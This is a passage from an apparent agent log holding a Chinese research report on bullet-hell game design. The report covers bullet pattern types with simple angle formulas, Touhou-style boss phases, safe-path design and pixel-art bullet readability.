https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*\n```", "timestamp": "2026-08-23T12:34:19.611162", "message_id": "msg_29219fc6e267498dbbb597718938462a", "metadata": {"tool_payload": {"success": true, "type": "read", "path": "research/bullet_patterns/bullet_pattern_research.md", "encoding": "utf-8", "max_chars": 50000, "truncated": false, "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain fire'不等于无限堆弹;密度阈值之后,可读性(readability)崩坏,玩家感到\"不公平\"而非\"华丽\"(note.com 3-2:设计缝隙而非密度)。\n- **难度曲线**:\n - 报告参考\"轻/重阶段交替\"(Danmaku Unlimited 3 采用东方式 light/heavy 交替:轻阶段让玩家喘息与移动,重阶段密集压迫,来源 Forgotten Worlds 采访);\n - 每个 Boss 阶段内\"缓慢升级\":起点是玩家已见过的简单变体,随后逐次加大子弹量/缩小缝隙/提高速度(SHMUP Workshop 03:slow escalation)。\n - 不同难度等级通过\"同一图案改密度/速度/名字\"来分层(东方难度差异,Wikipedia)。\n- **可控变量**(可做成运行时调参工具):子弹数、速度、发射间隔、扇形张角、环形偏转、随机种子、加层数。\n- **Cave 的 rank 系统**:根据玩家当前表现(残机/雷/击破率)动态调整弹幕强度——可选的高级机制(来源:TimeExtension;Boghog 亦建议用\"credit feed 降 rank\"来练习 Boss)。\n\n### 3.3 安全路径设计(Safe Zones / 缝隙 / 路线)\n\n弹幕的本质是\"缝隙谜题\",安全路径是设计对象而非巧合:\n\n- **微闪避(micrododging)**:在密集子弹的缝隙间小幅移动穿行(Sparen A3 / maribelhearn / Boghog);\n- **宏闪避(macrododging)**:对整个弹幕编队进行大幅度绕行、找到整块安全区(safe spot / safespot——\"内部完全不会被击中(或近于)的点/区域\",maribelhearn 术语);东方中 BOWAP、咲夜道中非符等是经典 safespot(maribelhearn Beginner Guide / jargon);\n- **引弹(streaming / misdirection)**:瞄准弹只有在玩家\"把弹流引到别处\"时才安全——设计上,持续的瞄准弹迫使玩家移动并制造\"下一波更难\"的位置压力(SHMUP Workshop 03:被满屏引导到尴尬位置会削弱后续应对;maribelhearn:misdirection 常在数秒空隙内完成);\n- **路线(routing)**:玩家在静态/半静态弹幕中规划的具体移动路径,是\"设计缝隙\"的最终产物;\n- **设计检查表**(综合 note.com 3-2 与 SHMUP Workshop 03):\n 1. 画图时刻意留下**可见的缝隙**(gap width > 判定点 + 子弹判定 + 误差余量);\n 2. 区分\"安全点型\"(原地不动即可)与\"移动型\"(需要持续引弹)两类安全路径,交替使用;\n 3. 用瞄准弹/区域封锁弹**主动关闭**上一轮的安全点,防止玩家蹲坑(area denial,SHMUP Workshop 03;以及\"anti-camping:避免玩家龟缩\"的 Boss 设计目标);\n 4. 每次重复图案时用随机种子旋转相位,避免出现固定盲区(Sparen A2)。\n\n### 3.4 时间限制与弹幕压力\n\n- **时限符卡**:上面已述(生存符卡)。在设计上,时限 = \"不需要 DPS 检验,纯粹考验躲避\",适合放在 Boss 战中段作为节奏变化点(东方文花帖/弹幕天邪鬼等衍生作品以\"时限+道具\"为核心玩法)。\n- **压力节奏(tension-release loop)**:\n - 每个波次设计\"入口压力→主压力→释放\"三段式:先预警(低压力、可读),再高压(核心躲避),最后 1–2 秒\"突然变简单\"给玩家胜利快感(Boss Up YouTube:survive 之后的那 1 秒喘息极具成瘾性);\n - 压力来源可以分层:视觉压力(满屏)、逻辑压力(瞄准)、时间压力(超时/残机消耗)。\n- **Boss 战的五个设计要素**(来源:Game Developer《Video Game Boss Design for Shmups》):\n 1. **难度 Difficulty**:首关 Boss 必须让\"认真玩的人\"能过;Boss 攻击应与关卡已有敌人/道具主题连贯(\"进化\"而非\"空降\");\n 2. **多样性 Variety**:Boss 血量条分段显示图案边界;同一段血内可循环多个攻击,且每次攻击要求不同的躲避/输出策略;\n 3. **时长 Length**:Boss 战时长与关卡时长成比例;中 Boss 不应比关底 Boss 长;把\"信息不对等的假 Boss → 真 Boss\"当一次性惊喜;\n 4. **回报 Pay-off**:Boss 战末尾(濒死前)往往\"倾泻所有弹幕\"制造最终高潮(Mushihimesama、ESPGaluda2、Ikaruga 第 3 章 Boss 都是例子);好回报 = 节奏铺垫 + 假危机;\n 5. **角色 Character**:爆炸方式、受击反馈、蓄力/宣言动画、音效都要符合角色性格——这是\"为什么这个 Boss 挡在这里\"的叙事答案。\n\n### 3.5 东方式 Boss 战结构参考(综合)\n\n1. 开战:非符 1(轻、教学、环/扇)\n2. 符卡宣言(换背景、念符名)→ 符卡 1(主题图案,时间限制,收取奖励)\n3. 非符 2(中压,引入瞄准/引弹)\n4. 符卡 2(组合图案,增强型:随血量变密)→ ……\n5. 濒死:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出(击破瞬间子弹变道具)\n6. (挑战层)隐藏:Extra 时限符卡 / 弹幕天邪鬼式\"看似不可能\"组合\n\n---\n\n## 4. 数学原理与实现\n\n### 4.1 基础参数体系\n\n任何一个弹幕模式都可由以下参数组合生成(来源:note.com 第 4 章;o3de-diorama 参数表):\n\n| 参数 | 作用 | 备注 |\n|---|---|---|\n| 发射位置 | 敌中心/屏幕边缘/多炮塔 | 决定子弹出生点阵型 |\n| **发射角度** | 固定 / 旋转 / 瞄准 / 随机 | 最易出效果 |\n| 子弹数量 | 密度 | 环形=一圈数量、扇形=扇内数量 |\n| 发射间隔 | 节奏 | 决定\"流\"还是\"波\" |\n| 子弹速度 | 难度与观感 | 快=危险、慢=可读 |\n| 加速度 | 节奏与曲线 | 减速弹、加速弹 |\n| 角速度 | 螺旋、转向弹 | 曲线弹的核心 |\n| 寿命 | 消失时机 | 滞留弹=长寿命 |\n| 分裂条件 | 时间/距离/位置 | 分裂弹 |\n| 颜色/大小 | 可读性与美观 | 颜色=属性编码 |\n\n### 4.2 角度与排列公式(常用)\n\n- **环形**:`angle_i = base + i·360/n`,`v = speed·(cos, sin)`(2.1 节)\n- **扇形**:`angle_i = aim - spread/2 + i·spread/(n-1)`(2.3 节)\n- **瞄准**:`angle = atan2(py - ey, px - ex) + 偏移`(瞄准扇 = 在其两侧均匀分布)\n- **网格**:对 `(i,j)` 行列给固定 x/y 间距\n- **正弦波**:`x 或 y += A·sin(ω·t + φ)`(2.10 波型)\n- **花瓣/星形**:`angle_i = base + i·(360/petal) + 相位`,再由花瓣内多颗子弹构成瓣形\n- **规律+微扰**:`angle = base + i·even + sin(t)·fluct`,`speed = base + random(-δ,δ)`(note.com 3-1)\n- **周期循环**:如\"每 60 帧一波大浪、每 15 帧小弹、每 4 发反转角度\"制造音乐性节奏(note.com 3-4)\n\n### 4.3 速度变化(加速/减速弹幕)\n\nDanmokou(DMK 引擎)归纳的常见运动(来源:Danmokou Tutorial 6):\n\n1. 恒定速度直线(默认)\n2. **直线加速**(`v(t) = v0 + a·t`,可正可负:赶人弹/诱导弹)\n3. 速度在慢/快之间周期切换\n4. 两位置间往返\n5. 极坐标运动(径向+角速度)\n6. 波浪线(squiggly)\n7. 旋转运动方向(追踪/转向)\n8. 相对另一运动物体运动(随从弹/母舰子机)\n9. 任意参数方程轨迹\n\n工程提示:DMK 把运动建模为**函数**(`rvelocity(px(3 + sine(4, 0.6, t)))`),而不是\"速度/加速度两个标量\",从而任意轨迹即插即用;其子弹更新循环一次函数调用即可支撑 10 万以上子弹 @4K 120FPS(DMK 官方数据)。\n\n### 4.4 曲线弹幕(转向 / 极坐标 / 贝塞尔)\n\n- **限速转向(追踪弹)**:每帧把朝向转向上限内的目标方向(2.6 节公式);\"转向弱一点更好躲也更好看\"(note.com 2-13)。\n- **极坐标螺旋**:`r(t)=a·t, θ(t)=b·t` → 直角坐标 `x = cx + r·cosθ, y = cy + r·sinθ`(DMK 示例 `polar(2*t, 80*t)`)。注意极坐标绕圈时转速均匀性需要弧长参数化,DMK 作者自述\"没有闭式解,需迭代求解\"。\n- **贝塞尔曲线(弯曲弹)**:二次贝塞尔 `B(t) = (1-t)²·P0 + 2(1-t)·t·P1 + t²·P2`,每帧采样 t∈[0,1] 作为下一位置(通用图形学做法,非本次调研单一来源;用于\"弧形弹道/水漂弹\")。三次贝塞尔 `C(t)` 用于更复杂的 S 形弹道。\n- **正弦扰动**:在固定方向上叠加正弦横向偏移,成为\"S 形\"弹(Unity 论坛实现示例)。\n- **角度退化/曲线激光**:东方中存在\"准激光\"(弧形激光、曲线灵弹),判定比直线激光大(thwiki 弹型介绍)——曲线弹道要么给足预警,要么减小判定。\n\n### 4.5 性能实现建议\n\n- **对象池(object pool)**:固定容量池 + 硬上限,防止无限生成(o3de-diorama 的 `Max Bullets` 硬上限设计)。\n- **批量渲染**:同一纹理的整组子弹一次 draw call(sprite batch / 合批)。\n- **碰撞**:每颗活子弹对目标碰撞层做一次重叠查询,目标层只放玩家/护盾几个碰撞体,几百颗子弹也便宜(o3de-diorama)。\n- **功能分层**:发射器(emitter)只管几何与碰撞,伤害/计分留在游戏侧(o3de-diorama 的分工建议)。\n\n---\n\n## 5. 像素风格下的弹幕视觉设计\n\n### 5.1 子弹形状库\n\n**核心原则**:'shmup 最核心的是弹幕的可读性(visibility)——在任何背景下都能被读出'(slynyrd Pixelblog 31)。形状即语义:**形状要匹配行为**(Sparen Guide A2 / Pixelblog 32:箭形弹配直线飞行才合理;追踪弹要旋转指向的运动方向)。\n\n**东方参考形状清单**(来源:thwiki《东方全弹型介绍与中弹判定分析》、maribelhearn 子弹类型表、Steam Touhou Bullets Model Pack):\n\n| 类别 | 形状 | 用途/特点 | 像素建议 |\n|---|---|---|---|\n| 圆形系 | 小玉(带圈/不带圈)、中玉、大玉(空心) | 通用基础弹;大玉实际判定仅中心空洞 | 6–10px 圆 + 描边;大玉用\"中空环\"贴图配透明中心 |\n| 粒状 | 点弹、米弹 | 点弹最小(<判定点),米弹为最高发弹量弹型之一 | 